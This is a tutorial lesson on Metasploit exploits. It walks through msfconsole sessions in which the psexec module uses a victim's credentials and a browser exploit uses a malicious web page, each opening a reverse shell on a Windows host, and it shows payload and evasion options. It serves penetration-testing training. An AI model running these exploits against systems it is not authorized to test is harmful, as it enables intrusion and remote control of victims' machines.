Lesson 4 - Metasploit Fundamentals 2 : Exploits

Exploits

All exploits in the Metasploit Framework will fall into two categories: active and passive.

Active Exploits

Active exploits will exploit a specific host, run until completion, and then exit.

• Brute-force modules will exit when a shell opens from the victim.
• Module execution stops if an error is encountered.
• You can force an active module to the background by passing '-j' to the exploit command:

msf exploit(ms08_067_netapi) > exploit -j
[*] Exploit running as background job.
msf exploit(ms08_067_netapi) >

Example

The following example makes use of a previously acquired set of credentials to exploit and gain a reverse shell on the target system.

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.1.100
RHOST => 192.168.1.100
msf exploit(psexec) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf exploit(psexec) > set LPORT 4444
LPORT => 4444
msf exploit(psexec) > set SMBUSER victim
SMBUSER => victim
msf exploit(psexec) > set SMBPASS s3cr3t
SMBPASS => s3cr3t
msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'victim'...
[*] Uploading payload...
[*] Created \hikmEeEM.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (ciWyCVEp - "MXAVZsCqfRtZwScLdexnD")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \hikmEeEM.exe...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.100:1073)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Passive Exploits

Passive exploits wait for incoming hosts and exploit them as they connect.

• Passive exploits almost always focus on clients such as web browsers, FTP clients, etc.
• They can also be used in conjunction with email exploits, waiting for connections.
• Passive exploits report shells as they happen can be enumerated by passing '-l' to the sessions command. Passing '-i' will interact with a shell.

msf exploit(ani_loadimage_chunksize) > sessions -l

Active sessions
===============

  Id  Description  Tunnel
  --  -----------  ------
  1   Meterpreter  192.168.1.5:52647 -> 192.168.1.100:4444

msf exploit(ani_loadimage_chunksize) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Example

The following output shows the setup to exploit the animated cursor vulnerability. The exploit does not fire until a victim browses to our malicious website.

msf > use exploit/windows/browser/ani_loadimage_chunksize
msf exploit(ani_loadimage_chunksize) > set URIPATH /
URIPATH => /
msf exploit(ani_loadimage_chunksize) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ani_loadimage_chunksize) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf exploit(ani_loadimage_chunksize) > set LPORT 4444
LPORT => 4444
msf exploit(ani_loadimage_chunksize) > exploit
[*] Exploit running as background job.

[*] Started reverse handler
[*] Using URL: http://0.0.0.0:8080/
[*]  Local IP: http://192.168.1.5:8080/
[*] Server started.
msf exploit(ani_loadimage_chunksize) >
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending HTML page to 192.168.1.100:1077...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP) to 192.168.1.100:1077...
[*] Sending stage (240 bytes)
[*] Command shell session 2 opened (192.168.1.5:4444 -> 192.168.1.100:1078)

msf exploit(ani_loadimage_chunksize) > sessions -i 2
[*] Starting interaction with 2...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\victim\Desktop>

Using Exploits

Selecting an exploit in Metasploit adds the 'exploit' and 'check' commands to msfconsole.

msf > use  exploit/windows/smb/ms09_050_smb2_negotiate_func_index
msf exploit(ms09_050_smb2_negotiate_func_index) > help
...snip...
Exploit Commands
================

    Command       Description
    -------       -----------
    check         Check to see if a target is vulnerable
    exploit       Launch an exploit attempt
    rcheck        Reloads the module and checks if the target is vulnerable
    rexploit      Reloads the module and launches an exploit attempt

msf exploit(ms09_050_smb2_negotiate_func_index) >

Show

Using an exploit also adds more options to the 'show' command.

Targets

msf exploit(ms09_050_smb2_negotiate_func_index) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows Vista SP1/SP2 and Server 2008 (x86)

Payloads

msf exploit(ms09_050_smb2_negotiate_func_index) > show payloads

Compatible Payloads
===================

   Name                              Disclosure Date  Rank    Description
   ----                              ---------------  ----    -----------
   generic/custom                                     normal  Custom Payload
   generic/debug_trap                                 normal  Generic x86 Debug Trap
   generic/shell_bind_tcp                             normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                          normal  Generic Command Shell, Reverse TCP Inline
   generic/tight_loop                                 normal  Generic x86 Tight Loop
   windows/adduser                                    normal  Windows Execute net user /ADD
...snip...

Options

msf exploit(ms09_050_smb2_negotiate_func_index) > show options

Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  445              yes       The target port
   WAIT   180              yes       The number of seconds to wait for the attack to complete.


Exploit target:

   Id  Name
   --  ----
   0   Windows Vista SP1/SP2 and Server 2008 (x86)

Advanced

msf exploit(ms09_050_smb2_negotiate_func_index) > show advanced

Module advanced options:

   Name           : CHOST
   Current Setting:
   Description    : The local client address

   Name           : CPORT
   Current Setting:
   Description    : The local client port
...snip...

Evasion

msf exploit(ms09_050_smb2_negotiate_func_index) > show evasion
Module evasion options:

   Name           : SMB::obscure_trans_pipe_level
   Current Setting: 0
   Description    : Obscure PIPE string in TransNamedPipe (level 0-3)

   Name           : SMB::pad_data_level
   Current Setting: 0
   Description    : Place extra padding between headers and data (level 0-3)

   Name           : SMB::pad_file_level
   Current Setting: 0
   Description    : Obscure path names used in open/create (level 0-3)
...snip...